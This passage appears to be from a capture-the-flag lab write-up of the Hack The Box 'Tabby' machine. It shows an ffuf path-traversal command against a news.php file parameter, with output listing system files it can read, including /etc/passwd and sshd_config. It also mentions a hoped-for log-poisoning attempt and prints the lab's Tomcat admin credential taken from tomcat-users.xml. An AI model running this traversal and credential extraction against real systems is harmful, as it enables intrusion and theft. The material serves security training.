LFI
LFI is confirmed to be present in the Web application running on the target port
80
There is a system user named, ash
SSH
Unfortunately, the
ash
user does not a SSH key
Fuzzing
┌──(kali㉿kali)-[~/archive/htb/labs/tabby]
└─$ ffuf -c -w /usr/share/wordlists/intruder/lfi.txt -u 'http://megahosting.htb/news.php?file=../../../../FUZZ' -ic -fw 1
________________________________________________
:: Method : GET
:: URL : http://megahosting.htb/news.php?file=../../../../FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/intruder/lfi.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response words: 1
________________________________________________
[status: 200, Size: 246, Words: 23, Lines: 11, Duration: 198ms]
* fuzz: /etc/hosts
[status: 200, Size: 473, Words: 72, Lines: 11, Duration: 100ms]
* fuzz: /etc/fstab
[status: 200, Size: 7237, Words: 965, Lines: 228, Duration: 103ms]
* fuzz: /etc/apache2/apache2.conf
[status: 200, Size: 1321, Words: 93, Lines: 56, Duration: 96ms]
* fuzz: /proc/self/status
[status: 200, Size: 317, Words: 52, Lines: 2, Duration: 107ms]
* fuzz: /proc/self/stat
[status: 200, Size: 1850, Words: 16, Lines: 36, Duration: 113ms]
* fuzz: /etc/passwd
[status: 200, Size: 246, Words: 23, Lines: 11, Duration: 111ms]
* fuzz: /etc/hosts
[status: 200, Size: 1040, Words: 181, Lines: 22, Duration: 97ms]
* fuzz: /etc/crontab
[status: 200, Size: 24, Words: 5, Lines: 3, Duration: 172ms]
* fuzz: /etc/issue
[status: 200, Size: 144, Words: 17, Lines: 2, Duration: 159ms]
* fuzz: /proc/version
[status: 200, Size: 107, Words: 4, Lines: 2, Duration: 159ms]
* fuzz: /proc/cmdline
[status: 200, Size: 7237, Words: 965, Lines: 228, Duration: 99ms]
* fuzz: /etc/apache2/apache2.conf
[status: 200, Size: 3299, Words: 296, Lines: 125, Duration: 100ms]
* fuzz: /etc/ssh/sshd_config
[status: 200, Size: 85632, Words: 16, Lines: 59, Duration: 113ms]
* fuzz: /var/log/wtmp
[status: 200, Size: 85632, Words: 16, Lines: 59, Duration: 99ms]
* fuzz: /var/log/wtmp
[status: 200, Size: 317, Words: 52, Lines: 2, Duration: 101ms]
* fuzz: /proc/self/stat
[status: 200, Size: 1317, Words: 93, Lines: 56, Duration: 104ms]
* fuzz: /proc/self/status
[status: 200, Size: 1850, Words: 16, Lines: 36, Duration: 99ms]
* fuzz: /etc/passwd
[status: 200, Size: 1040, Words: 181, Lines: 22, Duration: 94ms]
* fuzz: /etc/crontab
[status: 200, Size: 24, Words: 5, Lines: 3, Duration: 95ms]
* fuzz: /etc/issue
[status: 200, Size: 246, Words: 23, Lines: 11, Duration: 95ms]
* fuzz: /etc/hosts
[status: 200, Size: 144, Words: 17, Lines: 2, Duration: 126ms]
* fuzz: /proc/version
[status: 200, Size: 107, Words: 4, Lines: 2, Duration: 126ms]
* fuzz: /proc/cmdline
[status: 200, Size: 7237, Words: 965, Lines: 228, Duration: 101ms]
* fuzz: /etc/apache2/apache2.conf
[status: 200, Size: 3299, Words: 296, Lines: 125, Duration: 99ms]
* fuzz: /etc/ssh/sshd_config
[status: 200, Size: 317, Words: 52, Lines: 2, Duration: 97ms]
* fuzz: /proc/self/stat
[status: 200, Size: 1317, Words: 93, Lines: 56, Duration: 99ms]
* fuzz: /proc/self/status
[status: 200, Size: 1850, Words: 16, Lines: 36, Duration: 130ms]
* fuzz: /etc/passwd
[status: 200, Size: 1850, Words: 16, Lines: 36, Duration: 106ms]
* fuzz: /etc/passwd
[status: 200, Size: 246, Words: 23, Lines: 11, Duration: 98ms]
* fuzz: /etc/hosts
[status: 200, Size: 24, Words: 5, Lines: 3, Duration: 100ms]
* fuzz: /etc/issue
[status: 200, Size: 144, Words: 17, Lines: 2, Duration: 100ms]
* fuzz: /proc/version
[status: 200, Size: 1040, Words: 181, Lines: 22, Duration: 100ms]
* fuzz: /etc/crontab
[status: 200, Size: 107, Words: 4, Lines: 2, Duration: 100ms]
* fuzz: /proc/cmdline
[status: 200, Size: 1850, Words: 16, Lines: 36, Duration: 102ms]
* fuzz: /etc/passwd
[status: 200, Size: 7237, Words: 965, Lines: 228, Duration: 100ms]
* fuzz: /etc/apache2/apache2.conf
[status: 200, Size: 3299, Words: 296, Lines: 125, Duration: 95ms]
* fuzz: /etc/ssh/sshd_config
[status: 200, Size: 85632, Words: 16, Lines: 59, Duration: 168ms]
* fuzz: /var/log/wtmp
[status: 200, Size: 85632, Words: 16, Lines: 59, Duration: 106ms]
* fuzz: /var/log/wtmp
[status: 200, Size: 1850, Words: 16, Lines: 36, Duration: 96ms]
* fuzz: etc%2fpasswd
:: Progress: [1539/1539] :: Job [1/1] :: 312 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
while ffuf returned a lot of files, access and error logs for apache is nowhere to be found as i was hoping to attempt log poisoning
tomcat
A Tomcat instance is running on the web server on the port 8080
Referring back to the default installation page, it would appear that the Tomcat instance is installed to the
/usr/share/tomcat9
directory
Looking further online also reveals that the
tomcat-users.xml
file can be located at the /usr/share/tomcat9/etc
directory while it also notes that it varies between versions
The
/usr/share/tomcat9/etc/tomcat-users.xml
file is located via LFI
The credential, tomcat
:$3cureP4s5w0rd123!
, is defined here with admin-gui and manager-script roles